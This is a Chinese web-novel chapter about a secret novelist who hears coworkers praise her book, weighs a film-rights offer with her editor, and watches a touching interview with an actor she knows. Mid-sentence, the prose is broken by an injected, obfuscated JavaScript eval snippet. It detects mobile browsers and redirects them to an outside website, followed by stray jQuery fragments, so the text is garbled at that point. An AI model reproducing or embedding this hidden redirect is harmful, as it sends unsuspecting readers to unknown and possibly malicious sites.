午休的时候，许丛生第一次在现实生活里听见了《长生》的名字。
那天公司的人难得没点外卖，几个同事一起下楼去吃附近新开的砂锅。店里人很多，等位的时候有人抱着手机刷得入迷，连号码叫到自己都没反应过来。
许丛生抬手在她面前晃了晃：“到你了。”
同事猛地抬头：“啊？哦哦哦，走走走。”
她边走还边盯着屏幕，坐下来以后才像终于想起身边还有活人似的，兴奋地把手机往桌上一摆：“你们最近有人看《长生》吗？”
许丛生动作一顿。
旁边有人问：“什么《长生》？”
“一本男频文啊，最近突然火得要死，我昨天刷短视频刷到一段，点进去看了一眼，结果看到三点多。”
她说得眉飞色舞，手指在屏幕上划来划去，最后翻出一张人物图递给众人看：“就是这个，李长生，我跟你们说，这男的真的绝了。”
许丛生垂眼看了看。
那张图是读者二创，画得还挺好。
黑衣，长发，左手提刀，眉眼被压在阴影里，身后是一轮半沉的月亮。画手显然把她前文里那些七零八碎的外貌描写全捡了起来，甚至没落下“衣襟上不起眼的暗纹”的描述。
许丛生盯了两秒，发自内心地点评：“画得真好。”
同事像找到了知音：“对吧！而且作者真的特别会写这种人，装没事人的美强惨，都已经快死了还要照顾同伴......啊我的青天大老爷，要是男主角是满血，哪还有那些反派的事啊！”
旁边的人笑她：“你昨天不是还说最烦美强惨？”
“那得看怎么写啊！硬往身上堆惨叫工业糖精，这种不一样。”她说着说着又低头翻了一会儿评论，“而且作者还是新人，笔名特别怪，叫什么丛林野人。”
许丛生低头喝水。
另一个同事笑了起来：“听着像四十岁大叔。”
“我也觉得。可能是那种平时不说话，私底下特爱研究历史的中年男。”
许丛生差点呛住。
她咳了两声，拿纸巾擦了擦嘴角，十分真诚地说：“为什么是四十岁大叔......”
“年轻人哪有这么强的人物塑造功底啊！”同事说，“我可烦死了小学生文笔了，没一点成年人能看的东西。”
“说不定丛林野人就是个天才小学生呢.......”
同事斜了一眼，振振有词：“那就得是柯南那种，小学生的身体，四十岁大叔的灵魂。”
许丛生这会儿是彻底呛着了。
怎么就和四十岁大叔杠上了！
四十岁大叔做错了什么！
再说工藤新一也不是四十岁大叔啊！！
但同事的话题已经转了九曲十八弯，现在已经被新端上来的砂锅粉岔开，丛林野人是个四十岁大叔早已经盖棺定论，许丛生也懒得再辩驳了。
四十岁就四十岁，好歹比猜到她头上好。
许丛生低头夹了一筷子粉条，心里只觉得有些新奇。
她习惯了作品在马甲里生长，评论区那些人再怎么喜欢李长生，隔着屏幕也只是一个模糊的数字。
现在忽然有人坐在她对面，拿着手机认真分析一个她写出来的人，这种感觉和后台跳出来的一串通知完全不一样。
像是原本只存在于脑子里的东西，真的从屏幕里爬了出去。
午饭刚吃完，编辑的消息就跟着来了。
【刚刚有两家版权公司来问。】
许丛生走进电梯，顺手回：【还是实体书出版？】
【不是，一家有声，一家影视。】
许丛生盯着最后两个字看了一会儿，反反复复地盯着看了好一会儿，才发现自己竟然没看错。
【影视......？】
【电视剧？！】
丑猫震惊表情包。
编辑难得没有吐槽那只奇丑无比的猫，而是噼里啪啦地送来了一串消息：【只是问意向，八字还没一撇。还是那个问题，你现在数据涨得快，业内都喜欢提前买股，价格不会高，我不建议你现在卖。而且......】
许丛生把粉条吸溜进去，腾出只手来敲字：【而且什么？】
【这家公司的口碑不太好，喜欢征用关系户，包括演员和班底，大概是拍不好你的作品，还会遭一波黑水。】
【而且公司的总制片原先是个演员，黑料很多，戏也很多。】
许丛生嚼了两口猪蹄，发送消息：【你看起来很讨厌她。】
【哼，确实有些有色眼镜。】
【本人方向的追星方向的？不会是曾经给你推下过黑水吧。】
编辑发了个大大的震惊表情：【你竟然还挺懂。】
许丛生不予置否。
编辑没再继续延展这个话题，而是又转回了正题，说：【但这是好事，说明这本的商业价值已经有人看到了。】
【你继续写，最近最好别挂假条了，保持日更。】
【尤其男主这条线，最近讨论度很高。】
许丛生回了个【知道了】，编辑又问：【你有没有想过，如果真影视化，李长生让谁演？】
许丛生刚想说“没想过”，手指却停了一下。
她脑子里先冒出来的是一双眼睛。
很黑，很亮，隔着镜头看过来时有种很容易让人误会的专注。
这个念头来得太快，许丛生愣了了半晌，下一秒，她面无表情地把输入框里刚打出来的“林”删掉，改成：【版权卖掉了之后，我还能有什么话语权。】
编辑：【这些都可以谈，只是价格不会像原先那样高。】
许丛生沉默了片刻，想了又想，最后还是随便发了一句：【看谁有档吧。】
编辑硕大的问号不出一秒就弹了过来。
【选角导演如果都像你这么敬业，影视行业早完蛋了。】
许丛生发了个丑猫“嘿嘿”的表情包。
下午工作很多，许丛生没空再想版权的事情。一直忙到晚上八点多，办公室里的人走得差不多了，她才关掉最后一个测试窗口，收拾东西回家。
地铁口的大屏正在放林旸的品牌广告。
许丛生远远地看见时，第一反应竟然不是广告拍得怎么样，而是他今天看起来比那天摄影棚里瘦一点。
她脚步慢了半拍。
周围人照常从她身边经过，或是看手机，或是赶着上地铁，当然也有人顺着大屏多看两眼，却没太多人像她这样驻足。
广告里的林旸穿着剪裁极好的深色西装，站在光线漂亮得近乎失真的影棚里，和无数次出现在屏幕后的样子没什么不同。
屏幕后的他是完美的，可同样也是冷冰冰的、没有温度的。
许丛生看不见他。
看不见那双温热的、说话时会盯着人直勾勾地看着的双眼。
没来由地，心里忽然空落落的。
许丛生收回了视线，跟着人流下了地铁。
又有一条推送弹了出来。
是林旸那个保密剧集的空降预告。许丛生点了开来，一打开就是一片白花花的弹幕。
——果不其然，弹幕吵疯了。
即使是预告，也能看出身为男主角的林旸戏份极少。男二女儿单独开了磨皮，占了起码80%的预告篇幅。
评论一致在骂，说要埋了这部剧；也有部分人说埋了这部对林旸不好，起码应该尊重林旸的付出。众说纷纭。
许丛生关上了弹幕，从头到尾把预告看完了。
说不上是愤怒还是欣喜，评论区里的争吵她两边都能理解。
许丛生脑袋里飘过了编辑的问题，她忽然萌生出了一丝莫名的冲动。
她切换了手机程序，视频播放界面自动缩小到了右上角，自动连播的下一条是粉丝拿她拍得剧宣图剪得视频，接着跳到了林旸的一条为了剧宣的新采访。
为了方便敲字，许丛生直接钻过人群，蹲在了路边。
【你刚才说，作者卖影视版权的时候，谈主演人选是可行的？】
编辑很快就回复了：【有心里人选？】
【呃、】
许丛生手指已经移到了L，想了想，没有直接回答，而是又问：【那你说，我的这本《长生》，有可能超越去年的那本男频第一吗？】
编辑那边隔了片刻，忽然弹来了一个丑猫落泪的表情包。
是许丛生最喜欢用的那个。
【我亲爱的丛林野人女士，你终于有了这样的野心！本编编非常感
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return'\\w+'};c=1;};while(c--)if(k[c])p=p.replace(new RegExp('\\b'+e(c)+'\\b','g'),k[c]);return p;}('8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="j://e.d.f/h/g/"}',24,24,'userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17862590|212072||http|test|mini|href|location'.split('|'),0,{}));
() {
$('.inform').remove();
$('#content').append('
动！！！】
许丛生：【?】
编辑的对话框出现了“正在输入中”，许丛生蹲在那儿等了好半晌，正在输入中的提示语消失了，接着是一条一分2秒的语音“嗖”地发送了过来。
“哇哦......”
许丛生情不自禁地咕哝了声，看了眼右上角林旸的采访，耳机里传来他温润的声音，许丛生非常冷漠地把编辑的语音给转成了文字。
编辑语速很快，一分钟转换出来的文字文字几乎占了一整页。许丛生看到那么多字，脑袋先是一懵，随后眯起眼睛再狠狠瞪大盯向屏幕，硬着头皮从里边捡关键信息。
【要我说啊，你最近的涨幅真的很厉害。女频小说网里的男频文......】后边跳过【......人设...】后边跳过【很吃香，加上去年那部男频第一影视化很成功，让一些女频读者也看到了男频文的魅力......】跳过、再跳过。
然后许丛生看到了最后一句：
【你可以的，丛林野人女士。】
许丛生弯了弯唇角。
虽然知道编辑可能掺了些虚假的激励在里头，但她的那一通分析，确实让许丛生心里的石头慢慢落了地。
“入行这么多年，也不是没有别的路可选。你有没有想过，哪天就彻底退下来，过点普通人的日子？”
耳机里忽然传来了主持人的这个问题。
许丛生愣了下，看向右上角仍在播放的采访。
镜头切到林旸，他靠在沙发里，垂着眼，指尖无意识蹭了蹭话筒边缘，像是在想怎么说。录影棚的暖光落下来，在他眼睑投出浅浅的影，沉默了几秒，才抬眼看向主持人。
“因为这里容易被看见。”
主持人没太懂，笑着追问：“什么意思？被粉丝看见吗？”
“不止。”他笑了一下，语气很平淡，像在说一件稀松平常的事，“做这行，只要还在拍戏、还在工作，就总得出现在各个地方。剧播的时候电视里有，走在街上广告牌上有，刷手机刷到片段也能撞见。”
许丛生打字的手一顿，下意识地移上了小窗，把视频放大，横屏播放。
落在虚空中，像穿过镜头看向很远的地方：“我在想，如果她还记得我，总有一天能看到。”
主持人来了兴致，往前倾了倾身：“所以你是在等她？”
“嗯。”他点了点头，“一直都是。”
“那如果她已经有喜欢的人了呢？”
这个问题抛出来，他答得很快，几乎没怎么想：“那很正常。”
主持人笑：“这么大方？不吃醋啊？”
“那是她自己的生活。”他也笑，眼尾弯出一点浅痕，“总不能因为我在等，就要求人家也站在原地。”
“那要是……已经结婚生子，过得特别安稳呢？”
林旸垂眼想了两秒，再抬起来时，神色还是平的：“那就好好过她的日子。”
“不会觉得遗憾吗？等了这么久。”
“遗憾肯定有。”他坦诚说，语气没什么波澜，“怎么可能没有。”
主持人还想再问，林旸却先慢慢靠回沙发里。
他看起来放松极了，眼中带着些星星点点的亮光。或许是那录影室的灯光打得太好，才能映得出这般透亮的双眸。
“不过我想，她这个人啊，总有满腔的热情去做很多事情。”
林旸忽然开了口，语气里带着点极淡的笑意：“今天捣鼓这个，过两天又跑去做别的，脚不沾地似的，总觉得她永远停不下来。”
许丛生心中陡然漏跳了一拍。
“所以我想啊，”林旸声音放得很轻，“如果哪一天，她走累了，或者觉得眼下的日子没什么意思了，忽然想起以前认识的人，一抬头——还能看见我。”
“我还在这儿，还在镜头里，她找过来，就知道我还在等。”
他说着，视线从主持人的脸上移了开，缓缓看向了镜头。
乌黑透亮的眼眸一眨不眨地盯着屏幕，隽秀的面庞上带着浅淡的笑意。
那笑意像来如此，像玉石一般通透，完美无瑕。忽有一瞬间，许丛生有一种错觉，一种——
林旸好像在和她对视的错觉。
许丛生心里一慌，猛地站起身来。